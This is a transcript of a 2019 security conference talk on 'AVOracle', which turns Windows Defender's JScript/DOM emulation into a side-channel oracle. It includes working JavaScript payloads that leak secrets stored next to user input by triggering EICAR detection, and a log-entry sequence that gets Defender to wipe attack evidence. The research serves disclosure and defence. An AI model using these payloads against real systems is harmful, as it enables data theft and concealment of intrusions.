

Let's Make Windows Defender Angry: Antivirus can be an oracle!

Let's Make Windows Defender Angry: Antivirus can be an oracle! - @speakerdeck, icchy, Speaker Deck.

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Let's Make Windows Defender Angry: Antivirus can be an oracle! - Speaker Deck

Let's Make Windows Defender Angry: Antivirus can be an oracle!

A presentation about AVOracle (AntiVirus Oracle) at CODE BLUE 2019 U25 track (https://codeblue.jp/2019/en/talks/?content=talks_23) Japanese version: <https://speakerdeck.com/icchy/antiuirusuwoorakurutosi-ta-windows-defendernidui-suru-xin-siigong-ji-shou-fa>

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icchy

October 29, 2019

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Transcript

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Let's Make Windows Defender Angry: Antivirus can be an oracle!

Ryo Ichikawa (icchy) CODE BLUE 2019, 10/29

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Who am I • icchy (a.k.a. t0nk42) • CTF enthusiast

◦ TokyoWesterns captain ◦ Web, Forensics • CTF Organizer ◦ TokyoWesterns CTF ▪ Challenge authoring, Infrastructure maintenance ◦ CODE BLUE CTF ▪ Bull's Eye system developer

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Question • Can you point out the vulnerability? ◦ You'll

know what the vulnerability is after this talk

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<https://www.rambus.com/blogs/an-introduction-to-side-channel-attacks/> Side-channel attack

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Side-channel attacks basics • Ordinary exploits ◦ Remote Code Execution

◦ Path traversal • Side-channel attacks ◦ Leak sensitive data from side-effects everywhere ◦ Spectre: time difference between cache hit ◦ XS-Search: unprocted attributes of JavaScript (ex. `iframe.length`) ◦

Padding oracle: padding error tell us plain text • They are recovering info from side-effects (i.e. oracles)

-

What is the target of side-channel attack? • CPU •

Spectre • Content auditor • XSS auditor • Crypto • Padding oracle (ex. POODLE) • Hardware • Power analysis

-

Content auditors • Content auditors protect users • XSS Auditor

◦ WAF (Web Application Firewall) • Antivirus software • Content auditors know the content to be audited • Content auditors sometimes have evaluation

-

Side-channel attacks against content auditor • XS-Search • Triggering false

positive for XSS Auditor in Chrome • Reflected XSS would be detected and blocked • `http://target/?<script>var secret = '1234';</script>` ◦ query malformed url to leak secret ▪ `<script>var secret = '1232';</script>` ▪ `<script>var secret = '1233';</script>` ▪ `<script>var secret = '1234';</script>` blocked! • Let's call this kind of attack Auditor Based Oracle • How about antivirus software?

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None

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Antivirus Technologies • one of the most common software we

use today • Avast • ESET • Kaspersky Security • McAfee • Norton Security • Symantec Endpoint Protection • Trendmicro Virus Buster Cloud • Windows Defender • ... • Protect users from malicious attempts by auditing • File content • Network traffics • etc.

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[audit([secret] + [user input])]

(https://files.speakerdeck.com/presentations/ad7d23687b414ff4874295f328d490b5/slide_10.jpg)

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Abusing Antivirus Technologies • What if attacker can control data

partially? • as saving input with sensitive data • attacker can trigger false positive • `[secret] + [user input]` => auditor fired? • attacker may leak `[secret]` by changing `[user input]` • Antivirus can be an oracle as well! • Various analyzers for contents

-

Abusing Antivirus Technologies • Antivirus Software is blackbox • When

they work? • What they will do? • How they detect malware? • How is their architecture? • Which files are required to run them? • etc. • Let's dig into Windows Defender • Most popular • Running on Windows by default

-

Windows Defender • What content will be detected as malicious?

• They have their own malware list ▪ <https://www.microsoft.com/en-us/wdsi/definitions/antimalware-definition-release-notes> • Probably other vendors have similar ones. • No details published • We need to analyze Windows Defender!

-

Black-box Windows Defender analysis • Run audit process on... •

file access • command execution • if (malicious) ▪ block access from user and notify to user • Analyzers for various content • Encoding ▪ Base64 • Archive, Compression ▪ ZIP, GZip, ... • Executables ▪ PE, WSH (VBS, JScript), ... • Black-box analyzing is super tiresome work

-

How to analyze Windows Defender efficiently?

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Windows Defender analysis is tiresome work • "MpCmdRun.exe" can trigger

the engine directly • still some issues are there

-

Windows Defender analysis is tiresome work • Unexpected behavior of

Windows Defender • timing issue • neutralization (deletion) • We have to regenerate payloads • ...bunch of times • No debug information • Hard to know why one is detected or not detected • Any useful tools? • several works are there

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Windows Defender is ported to Linux! • github.com/taviso/loadlibrary • emulating

mpengine.dll execution • enables us to do try and error • show us some debug output ~\$./mpclient ../files/eicar main(): Scanning ../files/eicar... EngineScanCallback(): Scanning input EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified. ~\$./mpclient ../files/eicar.b64 main(): Scanning ../files/eicar.b64... EngineScanCallback(): Scanning input EngineScanCallback(): Scanning input->(Base64) EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified.

-

Some tips about tavisio/loadlibrary • You can get PDB symbol

file in older version ◦ refer github.com/0xAlexei/WindowsDefenderTools ◦

MD5=e95d3f9e90ba3ccd1a4b8d63cbd88d1b => 1.271.81.0 ◦ Download older version of mpam-fe.exe then use cabextract ▪ mpengine.dll is core engine • Debug features ◦ enable DEBUG flag to trace API calls inside

-

Windows Defender internals • Windows Defender signature format: *.vdm ◦

mpasbase.vdm ◦ somehow encrypted • WDEExtract would be helpful ◦ github.com/hfiref0x/WDEExtract • Let's see the contents decrypted

-

Windows Defender internals • Windows Defender uses Lua

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Windows Defender internals signature name signature definition (string)

-

Windows Defender internals • handlers for various file format

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After white-box (?) Windows Defender analysis • Windows Defender has

JScript analyzer ◦ with DOM API supported • Not just parsing, but also emulating • If JScript calls eval(str) , str would also be audited ◦ eval("EICAR") => detected • What happens if combined

-

Attack to demo application • Simple application for PoC ◦

GET /?c1=controllable1&c2=controllable2 ▪ save data with simple format ▪ user cannot see the content of Secret ◦ GET /:name ▪ check existence and integrity • How to leak the Secret ?

-

Building exploit • We have Windows Defender emulator! ◦ with

debug information • JScript eval function also evaluates argument ◦ threat detected if argument contains malicious • eval("EICA" + input) => ? ◦ threat detected → input is "R" ◦ nothing detected → input is not "R"

-

Some issues in JScript engine • if statement will never

be evaluated ◦ if (true) {eval("EICA" + "R")} → not detected ◦ object accessing will help you: {0: "a", 1: "b", ...}[input] • parser stops on null byte ◦ eval("EICA" + "R[NULL]") → syntax error ◦ how to deal with null bytes?

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Another feature in mpengine.dll • They can analyze HTML document

◦ some html tags would be a trigger (ex. <script>) ◦ parser will not stop on null byte • JScript can access the elements :) ◦ if they have <body> tag ◦ <script>document.body.innerHTML[0]</script> <body>[secret]</body> • Now you have an oracle!

-

Building exploit • JavaScript ◦ \$idx and \$c would be

iterated • Windows Defender get angry if \$c is appropriate • It requires 256 times try for each \$idx :(var body = document.body.innerHTML; var eicar = "EICA"; var n = body[\$idx].charCodeAt(0); eicar = eicar + String.fromCharCode(n^\$c); eval(eicar);

-

Building exploit • much more faster! ◦ Math.min is also

available, do binary search • \$c < [input]: detected • \$c > [input]: not detected ◦ then do binary search! var body = document.body.innerHTML; var eicar = "EICA"; var n = body[\$idx].charCodeAt(0); eicar = eicar + {\$c: 'k'}[Math.min(\$c, n)]; eval(eicar);

-

Building exploit • Now everything is ready :) ◦ Controllable1:

<script>...</script> <body> ◦ Secret: [secret] ◦ Controllable2: </body> • to get oracle: accessing /:name after querying / ◦ detected → Internal Server Error ◦ not detected → you can see the response ...<script>[script]</script> <body>...[secret]...</body>...

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Demo • AVOracle attack against simple demo application

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Pros and Cons • Pros ◦ Attacker can use this

method blindly ◦ No need to know target structure well, just put part of payloads everywhere • Cons ◦ Attacker need to put two pieces of payloads ◦ Only data between payloads would be leaked • Any other variants? ◦ It would be great if there is way to leak previous / following data ◦ No PoC so far

-

Any other victims?

Potential victims • So many applications are saving user input

with sensitive data • Session file • TokyoWesterns CTF 2019 phpnote • leak HMAC secret stored in PHP session (not visible from user) • Log file • Apache, Nginx, IIS • Database • file-based DBMS (ex. SQLite3) • Cache file • browser, byte code cache

Antivirus as file modifier • Antivirus deletes / modifies file

if detected • Windows Defender replaces matched part by spaces (in case of HTML script tag) • Attacker can delete content partially • Even attacker cannot leak data, there might be something to do
data<script>eval('EICAR');</script>data data<script> </script>data

Wiping out evidence • Attacker can delete part of log

1. put <script>/* before beginning attack 2. do malicious attempts 3. put **/eval('EICAR');*</script> after attack
x.x.x.x - - [29/Oct/2019:00:00:00 +0000] "GET /<script>/" x.x.x.x - - [29/Oct/2019:00:00:10 +0900] "GET /attack.php" ... [some malicious attempts] ... x.x.x.x - - [29/Oct/2019:00:00:00 +0000] "GET **/eval('EICAR');*</script>"

Wiping out evidence • Attacker can delete part of log

1. put <script>/* before beginning attack 2. do malicious attempts 3. put **/eval('EICAR');*</script> after attack
x.x.x.x - - [29/Oct/2019:00:00:00 +0000] "GET /<script> </script>"

Antivirus as DoS • Deleting matched malicious over structural boundary

• Structure metadata would be destroyed • replaced by spaces • If two part will not over the boundary • attacker can overwrite other data

How about other antivirus?

Targeting other antivirus • VirusTotal is the best friend :)

• Which antivirus supports JScript emulator? • eval('EICA'+ 'R'); // should be detected • eval('EICA'+ '#'); // should not be detected • 4 antivirus passed • Cyren • DrWeb • Microsoft • NANO-Antivirus • TrendMicro • false positive

Targeting other antivirus • Further testing • Which antivirus supports

DOM API? ◦ `eval('EICA'+innerHTML[0]);<body>R</body> // should be detected` ◦
`eval('EICA'+innerHTML[0]);<body>#</body> // should not be detected` • Only Microsoft passed ◦ That's why they are vulnerable to AVOracle • SUPERAntiSpyware ◦ false positive

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Windows Defender is too smart

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How to prevent this attack? • IMO: no generic way

to patch ◦ standard behavior, not vulnerability • Disable auditor engine is one way ◦ Chromium XSS auditor is removed ◦ but Microsoft would not remove the engine • Application developers should ... ◦ know about this attack ◦ not save secret with controllable data • ... but it is not developer's fault! ◦ Antivirus vendor should take care about that

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Conclusions • Auditor Based Oracle is everywhere • Antivirus is

one big example ◦ it would be oracle if it has intelligent engine • Windows Defender is too smarter than other antivirus ◦ resulted in an effective oracle ◦ more smarter engine will get more oracles • Antivirus behavior would be sometimes harmful ◦ not only data leakage, also DoS • DO NOT store any secret surrounded by user input ◦ or your application would be vulnerable to AVOracle

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Any Questions? @t0nk42 icchy